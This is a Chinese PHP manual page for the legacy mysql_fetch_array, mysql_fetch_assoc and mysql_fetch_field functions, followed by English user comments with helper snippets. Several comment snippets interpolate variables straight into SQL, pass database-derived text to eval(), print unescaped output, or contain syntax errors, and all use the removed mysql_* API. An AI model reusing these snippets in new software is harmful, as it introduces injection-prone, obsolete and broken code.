如果结果中的两个或以上的列具有相同字段名，最后一列将优先。要访问同名的其它列，必须用该列的数字索引或给该列起个别名。对有别名的列，不能再用原来的列名访问其内容（本例中的 'field'）。

例子 1. 相同字段名的查询

select table1.field as foo, table2.field as bar from table1, table2

有一点很重要必须指出，用 mysql_fetch_array() 并不明显 比用 mysql_fetch_row() 慢，而且还提供了明显更多的值。

mysql_fetch_array() 中可选的第二个参数 result_type 是一个常量，可以接受以下值：MYSQL_ASSOC，MYSQL_NUM 和 MYSQL_BOTH。本特性是 PHP 3.0.7 起新加的。本参数的默认值是 MYSQL_BOTH。

如果用了 MYSQL_BOTH，将得到一个同时包含关联和数字索引的数组。用 MYSQL_ASSOC 只得到关联索引（如同 mysql_fetch_assoc() 那样），用 MYSQL_NUM 只得到数字索引（如同 mysql_fetch_row() 那样）。

注: 本函数返回的字段名是区分大小写的。

例子 2. mysql_fetch_array 使用 MYSQL_NUM

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password") or
        die("Could not connect: " . mysql_error());
    mysql_select_db("mydb");

    $result = mysql_query("SELECT id, name FROM mytable");

    while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
        printf ("ID: %s  Name: %s", $row[0], $row[1]);
    }

    mysql_free_result($result);
?>

例子 3. mysql_fetch_array 使用 MYSQL_ASSOC

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password") or
        die("Could not connect: " . mysql_error());
    mysql_select_db("mydb");

    $result = mysql_query("SELECT id, name FROM mytable");

    while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
        printf ("ID: %s  Name: %s", $row["id"], $row["name"]);
    }

    mysql_free_result($result);
?>

例子 4. mysql_fetch_array 使用 MYSQL_BOTH

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password") or
        die("Could not connect: " . mysql_error());
    mysql_select_db("mydb");

    $result = mysql_query("SELECT id, name FROM mytable");

    while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
        printf ("ID: %s  Name: %s", $row[0], $row["name"]);
    }

    mysql_free_result($result);
?>

参见 mysql_fetch_row() 和 mysql_fetch_assoc()。

add a note add a note User Contributed Notes
solutions at lanetech dot co dot uk
08-Jun-2006 08:32
This might be obvious to some... but this had me puzzling for a while!

I needed to count the number of elements returned from a db query. I used $row = @mysql_fetch_array($result) and then a loop using count($row) as the control.

I found it was doubling the number of elements because the default return of mysql_fetch_array returns BOTH the associative and numeric versions of the array! I changed the fetch to mysql_fetch_assoc and all is now well.

Hope that saves somone a little time!
06-Jun-2006 05:14
Note that as unlikely as it might be, queries like the following will mess up an array that is of result_type MYSQL_BOTH:

SELECT 'hello', 'world' AS '0';
hdixonish at deltabravo dot com
18-May-2006 06:39
Just a fairly useful (to me at least!) "implementation" of mysql_fetch_assoc to stop the clobbering of identical column names and allow you to work out which table produced which result column when using a JOIN (or simple multiple-table) SQL query:
(assuming a live connection ...)
<?php
$sql = "SELECT a.*, b.* from table1 a, table2 b WHERE a.id=b.id"; // example sql
$r = mysql_query($sql,$conn);
if (!$r) die(mysql_error());
$numfields = mysql_num_fields($r);
$tfields = Array();
for ($i=0;$i<$numfields;$i++)
{
   $field =  mysql_fetch_field($r,$i);
   $tfields[$i] = $field->table.'.'.$field->name;
}
while ($row = mysql_fetch_row($r))
{
   $rowAssoc = Array();
   for ($i=0;$i<$numfields;$i++)
   {
       $rowAssoc[$tfields[$i]] = $row[$i];
   }
//    do stuff with $rowAssoc as if it was $rowAssoc = mysql_fetch_assoc($r) you had used, but with table. prefixes
}
?>
let's you refer to $rowAssoc['a.fieldname'] for example.

[for real email addr, remove the ish]
tilmauder at yahoo dot com
16-Feb-2006 05:18
Remember that using a while() loop for traversing your result array is significantly slower than using a foreach() loop. Read the comments in the control structures section of this site for further details.
john at skem9 dot com
21-Jan-2006 08:13
my main purpose was to show the fetched array into a table, showing the results side by side instead of underneath each other, and heres what I've come up with.

just change the $display number to however many columns you would like to have, just dont change the $cols number or you might run into some problems.

<?php
$display = 4;
$cols = 0;
echo "<table>";
while($fetched = mysql_fetch_array($result)){
   if($cols == 0){
       echo "<tr>\n";
   }
   // put what you would like to display within each cell here
   echo "<td>".$fetched['id']."<br />".$fetched['name']."</td>\n";
   $cols++;
   if($cols == $display){
       echo "</tr>\n";
       $cols = 0;
   }
}
// added the following so it would display the correct html
if($cols != $display && $cols != 0){
   $neededtds = $display - $cols;
   for($i=0;$i<$neededtds;$i++){
       echo "<td></td>\n";
   }
     echo "</tr></table>";
   } else {
   echo "</table>";
}
?>

Hopefully this will save some of you a lot of searching.

any kind of improvements on this would be awesome!
andrea at 3site dot it
28-Dec-2005 11:51
alternative mysql_fetch_all

// array mysql_fetch_all(query:resource [, kind:string (default:'assoc' | 'row')])
function mysql_fetch_all($query, $kind = 'assoc') {
   $result = array();
   $kind = $kind === 'assoc' ? $kind : 'row';
   eval('while(@$r = mysql_fetch_'.$kind.'($query)) array_push($result, $r);');
   return $result;
}

// Example
$query = mysql_query($myquery) or die(mysql_error());
$result = mysql_fetch_all($query);
echo '<pre>'.print_r($result, true).'</pre>';
info at modulotech dot ch
23-Nov-2005 06:37
I think using a for loop to display fetched rows from a table is more convenient than a while loop, since one have directely access to the record number:

$reclist = mysql_query("SELECT field FROM table",$db)
               or die(mysql_errno()." : ".mysql_error());

for ($j=0; $rec=mysql_fetch_array($reclist); $j++){
     printf("%s - %s<br>\n",$j,$rec["field"]);
}

Hope this is usefull. Ali
tim at wiltshirewebs dot com
14-Nov-2005 09:49
Here's a quick way to duplicate or clone a record to the same table using only 4 lines of code:

// first, get the highest id number, so we can calc the new id number for the dupe
// second, get the original entity
// third, increment the dupe record id to 1 over the max
// finally insert the new record - voila - 4 lines!

$id_max = mysql_result(mysql_query("SELECT MAX(id) FROM table_name"),0,0) or die("Could not execute query");
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table." WHERE id='$id_original'),MYSQL_ASSOC) or die("Could not select original record"); // MYSQL_ASSOC forces a purely associative array and blocks twin key dupes, vitally, it brings the keys out so they can be used in line 4
$entity["id"]=$id_max+1;
mysql_query("INSERT INTO it_pages (".implode(", ",array_keys($Entity)).") VALUES ('".implode("', '",array_values($Entity))."')");

Really struggled in cracking this nut - maybe there's an easier way out there?  Thanks to other posters for providing inspiration. Good luck - Tim
eddie at nailchipper dot com
04-Nov-2005 02:58
mob AT stag DOT ru has a nice function for getting simple arrays from MySQL but it has a serious bug. The MySQL link being set as an argument is NULL when no link is supplied meaning that you're passing NULL to the mysql funcctions as a link, which is wrong. I am not using multitple connections so I removed the link and using the global link. If you want to support multiple links check to see if its set first.

/*
* to support multiple links add the $link argument to function then
* test it before you use the link
*
* if(isset($link))
*  if($err=mysql_errno($link))return $err;
* else
*  if($err=mysql_errno())return $err;
*/

function mysql_fetch_all($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}
kunky at mail dot berlios dot de
01-Oct-2005 06:41
This is very useful when the following query is used:

`SHOW TABLE STATUS`

Different versions of MySQL give different responses to this.

Therefore, it is better to use mysql_fetch_array() because the numeric references given my mysql_fetch_row() give very different results.
joelwan at gmail dot com
06-Sep-2005 06:14
Try Php Object Generator: http://www.phpobjectgenerator.com

It's kind of similar to Daogen, which was suggested in one of the comments above, but simpler and easier to use.

Php Object Generator generates the Php Classes for your Php Objects. It also provides the database class so you can focus on more important aspects of your project. Hope this helps.
yashiro at esfera dot cl
30-Jun-2005 09:36
This is a simple function that outputs a String with a table with the name of fields and their respective values, pretty useful
u insert a result like this : $result = mysql_query("select * from table", $db)

   /*Esta funcion genera automaticamente una tabla que muestra el resultado de un mysql_query,
   basta con invocar la funcion y con echo imprimirla*/
   function muestra_select($result){
       $tabla = "\n\t".'<table border="2" align="center" cellpadding="2" cellspacing="2">'."\n";
       for($i = 0; $i < mysql_num_fields($result); $i++){
           $aux = mysql_field_name($result, $i);
           $tabla .= "\t\t<th>".$aux."</th>\n";
       }
       while ($linea = mysql_fetch_array($result, MYSQL_ASSOC)) {
           $tabla .= "\t\t<tr>\n";
           foreach ($linea as $valor_col) {
               $tabla .= "\t\t\t".'<td>'.$valor_col.'</td>'."\n";
           }
           $tabla .= "\t\t</tr>\n";
       }
       $tabla .= "\t</table>\n";
       return $tabla;
   }
romans at servidor dot unam dot mx
13-May-2005 01:31
Regarding duplicated field names in queries, I wanted some way to retrieve rows without having to use alias, so I wrote this class that returns rows as 2d-arrays

<?
  $field = $drow['table']['column'];
?>

Here is the code:

<?
  class mysql_resultset
  {
   var $results, $map;

   function mysql_resultset($results)
   {
     $this->results = $results;
     $this->map = array();

     $index = 0;
     while ($column = mysql_fetch_field($results))
     {
       $this->map[$index++] = array($column->table, $column->name);
     }
   }

   function fetch()
   {
     if ($row = mysql_fetch_row($this->results))
     {
       $drow = array();

       foreach ($row as $index => $field)
       {
         list($table, $column) = $this->map[$index];
         $drow[$table][$column] = $row[$index];
       }

       return $drow;
     }
     else
       return false;
   }
  }
?>

The class is initialized with a mysql_query result:

<?
  $resultset = new mysql_resultset(mysql_query($sql));
?>

The constructor builds an array that maps each field index to a ($table, $column) array so we can use mysql_fetch_row and access field values by index in the fetch() method. This method then uses the map to build up the 2d-array.

An example:

<?
  $sql =
   "select orders.*, clients.*, productos.* ".
   "from orders, clients, products ".
   "where join conditions";

  $resultset = new mysql_resultset(mysql_query($sql));

  while ($drow = $resultset->fetch())
  {
   echo 'No.: '.$drow['orders']['number'].'<br>';
   echo 'Client: '.$drow['clients']['name'].'<br>';
   echo 'Product: '.$drow['products']['name'].'<br>';
  }
?>

I hope others find this useful as it has been to me.
mob AT stag DOT ru
24-Jan-2005 03:16
I wrote some utility functions to improve usability and readability, and use them everywhere in my code. I suppose they can help.

function mysql_fetch_all($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}

Example use:
if(is_array($rows=mysql_fetch_all("select * from sometable",$MySQL))){
 //do something
}else{
 if(!is_null($rows)) die("Query failed!");
}
joey at clean dot q7 dot com
19-Apr-2004 10:47
The issue of NULL fields seems to not be an issue anymore (as of 4.2.2 at least).  mysql_fetch_* now seems to fully populate the array and put in entries with values of NULL when that is what the database returned.  This is certainly the behaviour I expected, so I was concerned when i saw the notes here, but testing shows it does work the way I expected.
Ben
07-Apr-2004 02:59
One of the most common mistakes that people make with this function, when using it multiple times in one script, is that they forget to use the mysql_data_seek() function to reset the internal data pointer.

When iterating through an array of MySQL results, e.g.

<?php
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
   foreach ($line as $col_value) {
       echo $col_value . '<br />';
   }
}
?>

the internal data pointer for the array is advanced, incrementally, until there are no more elements left in the array. So, basically, if you copy/pasted the above code into a script TWICE, the second copy would not create any output. The reason is because the data pointer has been advanced to the end of the $line array and returned FALSE upon doing so.

If, for some reason, you wanted to interate through the array a second time, perhaps grabbing a different piece of data from the same result set, you would have to make sure you call

<?php
mysql_data_seek($result, 0);
?>

This function resets the pointer and you can re-iterate through the $line array, again!
sigit at djpkpd dot go dot id, harris at djpkpd dot go dot id
25-Mar-2003 02:28
if you have to use the field name with number like 1,2,..etc, it cause a problem when you fetch it with mysql_fetch_array.
An index array will contain a field name.
The solusion is:
1. Use mysql_fetch_assoc to escape the result to html;
2. Use alias and choose another name of field in mysql_query
hanskrentel at yahoo dot de
09-Jan-2003 05:25
for the problem with fields containing null values in an associated array, feel free to use this function. i've got no more problems with it, just drop it in your script:

/*
*    mysql_fetch_array_nullsafe
*
*
*    get a result row as an enumerated and associated array
*    ! nullsafe !
*
*    parameter:    $result
*                    $result:    valid db result id
*
*    returns:    array | false (mysql:if there are any more rows)
*
*/
function mysql_fetch_array_nullsafe($result) {
   $ret=array();

   $num = mysql_num_fields($result);
   if ($num==0) return $ret;

   $fval = mysql_fetch_row ($result);
     if ($fval === false) return false;

   $i=0;
     while($i<$num)
       {
           $fname[$i] = mysql_field_name($result,$i);
           $ret[$i] = $fval[$i];            // enum
           $ret[''.$fname[$i].''] = $fval[$i];    // assoc
           $i++;
       }

   return $ret;
}
juancri at tagnet dot org
12-Nov-2002 05:41
An example with mysql_fetch_array():

   $result = mysql_query("SELECT name FROM table WHERE id=8");
   $array = mysql_fetch_array($result);

$array will be:

   array ([0] => "John", ['name'] => "John")

Then you can access to the results:

   echo "The name is " . $array[0];
   // or
   echo "The name is " . $array['name'];

But the array is not referential. $array[0] is not a reference to $array['name'] or $array['name'] to $array[0], they are not relationed between. Because of that, the system will use excesive memory. With large columns, try to use mysql_fetch_assoc() or mysql_fetch_row() only.
dkantha at yahoo dot com
11-Nov-2002 08:27
I did find 'jb at stormvision's' code useful above, but instead of the number of rows you need the number of fields; otherwise you get an error.

So, it should read like the following:

$result=mysql_query("select * from mydata order by 'id'")or die('died');
$num_fields = mysql_num_fields($result);
$j=0;
$x=1;
while($row=mysql_fetch_array($result)){
  for($j=0;$j<$num_fields;$j++){
   $name = mysql_field_name($result, $j);
   $object[$x][$name]=$row[$name];
  }$x++;
}

For Later in the script you may use the below array to gain access to your data

$i=1;
$ii=count($object);        //quick access function
for($i=1;$i<=$ii;$i++){
echo $object[$i]['your_field_name'];
}

I have tested this in my apps and it works great! :-)
glenn dot hoeppner at yakhair dot com
10-Oct-2002 05:04
Just another workaround for columns with duplicate names...

Modify your SQL to use the AS keyword.

Instead of:
$sql = "SELECT t1.cA, t2.cA FROM t1, t2 WHERE t1.cA = t2.cA";

Try:
$sql = "SELECT t1.cA AS foo1, t2.cA AS foo2 FROM t1, t2 WHERE t1.cA = t2.cA";

Then you can reference the results by name in the array:
  $row[foo1], $row[foo2]
tslukka at cc dot hut dot fi
26-Sep-2002 05:20
If you think MySQL (or other) database
handling is difficult and requires lot's of
code, I recommend that you try http://titaniclinux.net/daogen/

DaoGen is a program source code generator
that supports PHP and Java. It makes database
programming quick and easy. Generated sources
are released under GPL.
robjohnson at black-hole dot com
15-Jun-2002 06:22
Benchmark on a table with 38567 rows:

mysql_fetch_array
MYSQL_BOTH: 6.01940000057 secs
MYSQL_NUM: 3.22173595428 secs
MYSQL_ASSOC: 3.92950594425 secs

mysql_fetch_row: 2.35096800327 secs
mysql_fetch_assoc: 2.92349803448 secs

As you can see, it's twice as effecient to fetch either an array or a hash, rather than getting both.  it's even faster to use fetch_row rather than passing fetch_array MYSQL_NUM, or fetch_assoc rather than fetch_array MYSQL_ASSOC.  Don't fetch BOTH unless you really need them, and most of the time you don't.
barbieri at NOSPAMzero dot it
31-May-2002 09:21
Here is a suggestion to workaround the problem of NULL values:

// get associative array, with NULL values set
$record = mysql_fetch_array($queryID,MYSQL_ASSOC);

// set number indices
if(is_array($record))
{
   $i = 0;
   foreach($record as $element)
       $record[$i++] = $element;
}

This way you can access $result array as usual, having NULL fields set.
mjm at porter dot appstate dot edu
13-Mar-2002 11:48
If you perform a SELECT query which returns different columns with duplicate names, like this:

--------
$sql_statement = "SELECT tbl1.colA, tbl2.colA FROM tbl1 LEFT JOIN tbl2 ON tbl1.colC = tbl2.colC";

$result = mysql_query($sql_statement, $handle);

$row = mysql_fetch_array($result);
--------

Then

$row[0] is equivalent to $row["colA"]

but

$row[1] is not equivalent to $row["colA"].

Moral of the story: You must use the numerical index on the result row arrays if column names are not unique, even if they come from different tables within a JOIN. This would render mysql_fetch_assoc() useless.

[Ed. note - or you could do the usual 'select tbl1.colA as somename, tbl2.colA as someothername. . .' which would obviate the problem. -- Torben]
techquest at onebox dot com
21-Jan-2002 09:19
Hi to enumerate a result set with out worrying about null values just use below code.

 while($myrow = mysql_fetch_row($result))
 {
 print " <tr> ";
  for($x=0; $x <= count($myrow); $x++)
  {
   print "<td>myrow[$x]</td>";
  }
 print "</tr>";
}

[ed note: tidied code so it actually works]
some at gamepoint dot net
11-Jan-2002 03:13
I never had so much trouble with null fields but it's to my understanding that extract only works as expected when using an associative array only, which is the case with mysql_fetch_assoc() as used in the previous note.

However a mysql_fetch_array will return field values with both the numerical and associative keys, the numerical ones being those extract() can't handle very well.
You can prevent that by calling mysql_fetch_array($result,MYSQL_ASSOC) which will return the same result as mysql_fetch_assoc and is extract() friendly.
add a note add a note

后退 | 起点 | 前进
mysql_escape_string | 上一级 | mysql_fetch_assoc


mysql_fetch_assoc

(PHP 4 >= 4.0.3, PHP 5)

mysql_fetch_assoc -- 从结果集中取得一行作为关联数组

说明

array mysql_fetch_assoc ( resource result )

返回根据从结果集取得的行生成的关联数组，如果没有更多行则返回 FALSE。

mysql_fetch_assoc() 和用 mysql_fetch_array() 加上第二个可选参数 MYSQL_ASSOC 完全相同。它仅仅返回关联数组。这也是 mysql_fetch_array() 起初始的工作方式。如果在关联索引之外还需要数字索引，用 mysql_fetch_array()。

如果结果中的两个或以上的列具有相同字段名，最后一列将优先。要访问同名的其它列，要么用 mysql_fetch_row() 来取得数字索引或给该列起个别名。参见 mysql_fetch_array() 例子中有关别名说明。

有一点很重要必须指出，用 mysql_fetch_assoc() 并不明显 比用 mysql_fetch_row() 慢，而且还提供了明显更多的值。

注: 本函数返回的字段名是区分大小写的。

例子 1. 扩展的 mysql_fetch_assoc() 例子

<?php

    $conn = mysql_connect("localhost", "mysql_user", "mysql_password");

    if (!$conn) {
        echo "Unable to connect to DB: " . mysql_error();
        exit;
    }

    if (!mysql_select_db("mydbname")) {
        echo "Unable to select mydbname: " . mysql_error();
        exit;
    }

    $sql = "SELECT id as userid, fullname, userstatus
            FROM   sometable
            WHERE  userstatus = 1";

    $result = mysql_query($sql);

    if (!$result) {
        echo "Could not successfully run query ($sql) from DB: " . mysql_error();
        exit;
    }

    if (mysql_num_rows($result) == 0) {
        echo "No rows found, nothing to print so am exiting";
        exit;
    }

    // While a row of data exists, put that row in $row as an associative array
    // Note: If you're expecting just one row, no need to use a loop
    // Note: If you put extract($row); inside the following loop, you'll
    //       then create $userid, $fullname, and $userstatus
    while ($row = mysql_fetch_assoc($result)) {
        echo $row["userid"];
        echo $row["fullname"];
        echo $row["userstatus"];
    }

    mysql_free_result($result);

?>

参见 mysql_fetch_row()，mysql_fetch_array()，mysql_query() 和 mysql_error()。

add a note add a note User Contributed Notes
paintedgauthier at gmail dot com
04-Mar-2006 05:49
Sorry the last one i posted does a normal non-mysql array , this will work the magic on a assoc array

<? function assoc_array_to_mysql() {
global $array;
   $update = 'update player set ';
   foreach($array as $key => $value) {
       if ($i) { $update .= key($array);
           $check = current($array);
           if (isset($check)) {
           $update .= '=\''.current($array).'\'';
           } else {  $update .= '=null'; }
       } else { $key = key($array);
       $current = current($array);
       $end = "where $key = $current"; }

       next($array);
       $check = key($array);
       if (isset($check)) {
           if ($i) {$update .= ', '; }
       } else {$update .= ' '.$end; }
     $i++;
   }
   $result = mysql_query($update) or die(mysql_oops($update));
   echo 'Updated';
 } ?>
chasfileDELETE_ALL_CAPS at gmail dot com
24-Feb-2006 03:26
What if you *want* a two dimensional array?  Useful for output as an HTML table, for instance.

function mysql_resultTo2DAssocArray ( $result) {
   $i=0;
   $ret = array();
   while ($row = mysql_fetch_assoc($result)) {
       foreach ($row as $key => $value) {
           $ret[$i][$key] = $value;
           }
       $i++;
       }
   return ($ret);
   }

print_r(mysql_resultTo2DAssocArray(mysql_query("SELECT * FROM something")));

Array ( [0] => Array ( [symbol] => ARNA
         [datetime] => 2006-02-17 16:00:00
         [price] => 16.83 )
     [1] => Array ( [symbol] => CALP
         [datetime] => 2006-02-17 16:00:00
         [price] => 6.54 )
     [2] => Array ( [symbol] => CROX
         [datetime] => 2006-02-17 16:00:00
         [price] => 27.4 ))
jono
02-Feb-2006 01:22
Note that the field names quoted within $row[] are case sensitive whereas many sql commands are case insensitive.
Maviee at gmx dot net
13-Jan-2006 06:38
I'll show you a small function which creates a normal array out of a mysql_fetch_assoc foreach loop.
First of all, I want to say, I have the philosphy that a function has exactly one return point. That's why I'm working with a return variable.

Now here is the code:

public function DBSelect($statement)
{
   $ident = mysql_query($statement);
   $result = true;

   if ($ident == false || mysql_num_rows($ident) == 0)
       $result = false;

   // only create the array when everything went fine
   if ($result != false)
   {
       unset($result);
       // workaround to avoid a 2-dimensional array
       foreach(mysql_fetch_assoc($ident) as $key => $value)
       {
           $result[$key] = $value;
       }
       mysql_free_result($ident);
   }
   return $result;
}
14-Dec-2005 07:25
The following code retrieves all rows but adds an empty array element to the end:
   while ($arr[] = mysql_fetch_assoc($result));
One way to remove it is to also execute the following:
   array_pop($arr);
09-Oct-2005 10:03
This is a useful script for displaying MySQL results in an HTML table.

<?

function array2table($arr,$width)
   {
   $count = count($arr);
   if($count > 0){
       reset($arr);
       $num = count(current($arr));
       echo "<table align=\"center\" border=\"1\"cellpadding=\"5\" cellspacing=\"0\" width=\"$width\">\n";
       echo "<tr>\n";
       foreach(current($arr) as $key => $value){
           echo "<th>";
           echo $key."&nbsp;";
           echo "</th>\n";
           }
       echo "</tr>\n";
       while ($curr_row = current($arr)) {
           echo "<tr>\n";
           $col = 1;
           while ($curr_field = current($curr_row)) {
               echo "<td>";
               echo $curr_field."&nbsp;";
               echo "</td>\n";
               next($curr_row);
               $col++;
               }
           while($col <= $num){
               echo "<td>&nbsp;</td>\n";
               $col++;
           }
           echo "</tr>\n";
           next($arr);
           }
       echo "</table>\n";
       }
   }

?>

<?

// Add DB connection script here

$query = "SELECT * FROM mytable";
$result = mysql_query($query);
while($row = mysql_fetch_assoc($result)){
  $array[] = $row; }

array2table($array,600); // Will output a table of 600px width

?>
benlanc at ster dot me dot uk
24-Aug-2005 07:25
It probably without saying, but using list() in conjunction with mysql_fetch_assoc() does not work - use mysql_fetch_row() instead.

<?php
$sql = "SELECT `id`,`field`,`value` FROM `table`";
$result = mysql_query($sql);

// this results in empty values for rowID,fieldName,myValue
list($rowID,$fieldName,$myValue) = mysql_fetch_assoc($result);

// this is what you want:
list($rowID,$fieldName,$myValue) = mysql_fetch_row($result);
?>
jo at durchholz dot org
21-Jun-2005 04:58
To sum up moverton at northshropshiredc dot gov dot uk and Olivier Fabre:

If the query is "SELECT something1, something2, .... FROM tbl WHERE some_condition", the keys in the returned array will be 'something1', 'something2', etc. *even for those "somethings" that are not just field names*.

Examples of non-fieldname "somethings" are:
NULL
NOW
MAX(some_fieldname)

I haven't tested whether this applies to table.fieldname, but I see no reason why it shouldn't (I'd suspect a typo in my code if I didn't get the expected results; I certainly have had my share of them!)

I found it most convenient to check for typos by simply var_dumping the resulting row, like this:

<?php
echo '<pre>Got this row:'
var_dump ($row);
echo '</pre>';
?>

where $row is the result from the last call to mysql_fetch_assoc.
erik[at]phpcastle.com
15-May-2005 03:50
When you have to loop multiple times through the result of a query you can set the result pointer to 0 (zero) with mysql_data_seek ()

The advantage is that you do not have to query database twice with te same query :)

So:
<?php
  $query = "
   SELECT *
   FROM database
  ";

  //Query database
  $result = mysql_query ($query);

  //Iterate result
  while ($record = mysql_fetch_assoc ($result)){
   print_r ($record);
  }

  ...

  //Point to 0 (zero)
  mysql_data_seek ($result, 0);

  //Re-use the result
  while ($record = mysql_fetch_assoc ($result)){
   print_r ($record);
  }
?>
joe at kybert dot com
29-Sep-2004 04:07
Worth pointing out that the internal row pointer is incremented once the data is collected for the current row.

This means that multiple calls will iterate through the row data, so you DONT need to mysql_data_seek(..) between calls.

This is noted in the  mysql_fetch_row() docs, but not here!?
moverton at northshropshiredc dot gov dot uk
17-Sep-2004 08:27
Actually, Olivier, you're completely wrong about that, because there's a bug in your sample code. It will indeed return $row['MAX(time)'] - you have to pass the MySQL resource to mysql_fetch_assoc() and you're not doing that. This:

$row = mysql_fetch_assoc($conn)

...where $conn is your DB connection, would in fact produce a result. The complete example below is taken from my own self-written content management system:

$query = 'SELECT MAX(ctRevDate) FROM content group by ctPage';
$querySet = mysql_query($query, $conn);
$row = mysql_fetch_assoc($querySet);
print_r($row);

This produces:

Array
(
   [MAX(ctRevDate)] => 2004-01-15
)

..on my testbed. So it doesn't in fact need an alias at all.
marREtijn dot posthMOuma at hoVEme dot nl
05-Sep-2003 07:57
It appears that you can't have table.field names in the resulting array.
Just use an alias if your results come up empty and you are using multi-table query's:

$res=mysql_query("SELECT user.ID AS uID, order.ID AS oID FROM user, order WHERE ( order.userid=uID )";
while ($row=mysql_fetch_assoc($res)) {
   echo "<p>userid: $row['uID'], orderid: $row['oID']</p>";
}
add a note add a note

后退 | 起点 | 前进
mysql_fetch_array | 上一级 | mysql_fetch_field


mysql_fetch_field

(PHP 3, PHP 4, PHP 5)

mysql_fetch_field -- 从结果集中取得列信息并作为对象返回

说明

object mysql_fetch_field ( resource result [, int field_offset] )

返回一个包含字段信息的对象。

mysql_fetch_field() 可以用来从某个查询结果中取得字段的信息。如果没有指定字段偏移量，则下一个尚未被 mysql_fetch_field() 取得的字段被提取。

对象的属性为：

  • name - 列名

  • table - 该列所在的表名

  • max_length - 该列最大长度

  • not_null - 1，如果该列不能为 NULL

  • primary_key - 1，如果该列是 primary key

  • unique_key - 1，如果该列是 unique key

  • multiple_key - 1，如果该列是 non-unique key

  • numeric - 1，如果该列是 numeric

  • blob - 1，如果该列是 BLOB

  • type - 该列的类型

  • unsigned - 1，如果该列是无符号数

  • zerofill - 1，如果该列是 zero-filled

注: 本函数返回的字段名是区分大小写的。

例子 1. mysql_fetch_field()

<?php
mysql_connect('localhost:3306', $user, $password)
    or die("Could not connect: " . mysql_error());
mysql_select_db("database");
$result = mysql_query("select * from table")
    or die("Query failed: " . mysql_error());
/* get column metadata */
$i = 0;
while ($i < mysql_num_fields($result)) {
    echo "Information for column $i:<br />\n";
    $meta = mysql_fetch_field($result);
    if (!$meta) {
        echo "No information available<br />\n";
    }
    echo "<pre>
blob:         $meta->blob
max_length:   $meta->max_length
multiple_key: $meta->multiple_key
name:         $meta->name
not_null:     $meta->not_null
numeric:      $meta->numeric
primary_key:  $meta->primary_key
table:        $meta->table
type:         $meta->type
unique_key:   $meta->unique_key
unsigned:     $meta->unsigned
zerofill:     $meta->zerofill
</pre>";
    $i++;
}
mysql_free_result($result);
?>

参见 mysql_field_seek()。

add a note add a note User Contributed Notes
jordan dot ledoux at gmail dot com
28-Feb-2006 02:44
Here's a function which compiles an array out of a mysql query for any number of columns using this function:

<?
function compile_array($mysql) {
   $i = 0;
   while ($field = mysql_fetch_field($mysql)) {
       /* Create an array $fields which contains all of the column names */
       $fields[$i] = $field->name;
       $i++;
   }
   $i = 0;
   while ($mysql_result = mysql_fetch_array($mysql)) {
       foreach ($fields as $val) {
           /* Compiles an array in the format:
               $data [ row number ] [ column name ] */
           $data[$i][$val] = $mysql_result[$val];
       }
       $i++;
   }
   return $data;
}
?>
inaxio
04-Nov-2005 11:34
just another option to get all enum|set values from table definition. values are stored into arrays using the same field name

$result = mysql_query("SHOW COLUMNS FROM [table_name]");
while($row = mysql_fetch_object($result)){
   if(ereg(('set|enum'), $row->Type)){
       eval(ereg_replace('set|enum', '$'.$row->Field.' = array', $row->Type).';');
   }
}
Nick Baicoianu
16-Sep-2005 02:18
Be sure to note that $max_length is the length of the longest value for that field in the returned dataset, NOT the maximum length of data that column is designed to hold.
admin at str-atm dot com
13-Sep-2005 01:15
If you need to get separated field size you should use
this part of code (I also included a database request function):

!!!!! Take care of warped lines

----------------
// Function to call to perform a database request

<?
function sql_request($sql_query,$db_name)
  {
   global $rows_count;
   $db_link = mysql_connect("localhost","username","password")
or die("MySQL connect failed");
   @mysql_select_db($db_name) or
die("unable to select: $db_name");
   $query_answer = mysql_query($sql_query);
   $rows_count = mysql_num_rows($query_answer);
   mysql_close($db_link);
   return $query_answer;
  }

$editing_db = "mydb";
$editing_table = "mytable";

$query_answer = sql_request("SHOW FIELDS FROM $editing_table",$editing_db);
$i = 0;
while ($row = mysql_fetch_array($query_answer))
{
  $table_structure[$i][0] = $row['Field'];
  $first_parenthesis = strpos($row['Type'],"(");
  $last_parenthesis = strpos($row['Type'],")");
  if ($first_parenthesis AND $last_parenthesis)
  {
   $table_structure[$i][1] = substr($row['Type'],0,$first_parenthesis);
   $table_structure[$i][2] = substr($row['Type'],$first_parenthesis+1,
$last_parenthesis-$first_parenthesis-1);
  }
  if ($row[Key] == "PRI") $table_structure[$i][3] = 1;
  echo $i." ".$table_structure[$i][0]." ";
  echo $table_structure[$i][1]." ";
  echo $table_structure[$i][2]." ".$table_structure[$i][3]."<br>";
  $i++;
}
?>
Hope this will be usefull!

Andre Lebeuf
STR ATM and Terminals
cortalux at gmail dot com
24-Jun-2005 01:09
A far easier way of getting information upon an enum field, is this.

function enumget($field="",$table="") {
   $result=mysql_query("SHOW COLUMNS FROM `$table` LIKE '$field'");
   if(mysql_num_rows($result)>0){
       $row=mysql_fetch_row($result);
       $options=explode("','", preg_replace("/(enum|set)\('(.+?)'\)/","\\2", $row[1]));
   } else {
       $options=array();
   }
   return $options;
}
creak at foolstep dot com
18-Jul-2003 06:26
Sorry, the last pattern doesn't work with type whithout length, so it would be better if you change it with this one :
   "^([a-zA-Z]+)\(?([^\)]*)\)?$"

It's still $type[1] for the type and $type[2] for the length.

Creak
blakjak at nospam dot com
27-Mar-2003 06:18
mysql_fetch_field will fail if your result set's internal pointer has advanced past the end of the result.

So, if you use ...

$result = mysql_query("select * from person where id=1"); // returns 1 row
$row = mysql_fetch_row($result);

while($field = mysql_fetch_field){
 echo $field->name;
